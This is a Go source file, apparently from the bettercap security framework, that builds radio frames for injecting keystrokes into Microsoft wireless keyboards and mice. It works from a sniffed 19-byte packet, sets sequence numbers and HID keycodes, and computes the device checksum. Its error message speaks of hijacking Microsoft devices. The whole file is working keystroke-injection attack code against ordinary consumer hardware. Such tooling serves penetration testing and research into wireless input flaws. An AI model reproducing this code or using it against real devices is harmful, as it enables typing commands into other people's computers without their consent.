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package hid
import (
"fmt"
"github.com/bettercap/bettercap/network"
)
type MicrosoftBuilder struct {
seqn uint16
}
func (b MicrosoftBuilder) frameFor(template []byte, cmd *Command) []byte {
data := make([]byte, len(template))
copy(data, template)
data[4] = byte(b.seqn & 0xff)
data[5] = byte((b.seqn >> 8) & 0xff)
data[7] = cmd.Mode
data[9] = cmd.HID
// MS checksum algorithm - as per KeyKeriki paper
sum := byte(0)
last := len(data) - 1
for i := 0; i < last; i++ {
sum ^= data[i]
}
sum = ^sum & 0xff
data[last] = sum
b.seqn++
return data
}
func (b MicrosoftBuilder) BuildFrames(dev *network.HIDDevice, commands []*Command) error {
if dev == nil {
return fmt.Errorf("the microsoft frame injection requires the device to be visible")
}
tpl := ([]byte)(nil)
dev.EachPayload(func(p []byte) bool {
if len(p) == 19 {
tpl = p
return true
}
return false
})
if tpl == nil {
return fmt.Errorf("at least one packet of 19 bytes needed to hijack microsoft devices, try to hid.sniff the device first")
}
last := len(commands) - 1
for i, cmd := range commands {
next := (*Command)(nil)
if i < last {
next = commands[i+1]
}
if cmd.IsHID() {
cmd.AddFrame(b.frameFor(tpl, cmd), 5)
if next == nil || cmd.HID == next.HID || next.IsSleep() {
cmd.AddFrame(b.frameFor(tpl, &Command{}), 0)
}
} else if cmd.IsSleep() {
for i, num := 0, cmd.Sleep/10; i < num; i++ {
cmd.AddFrame(b.frameFor(tpl, &Command{}), 0)
}
}
}
return nil
}
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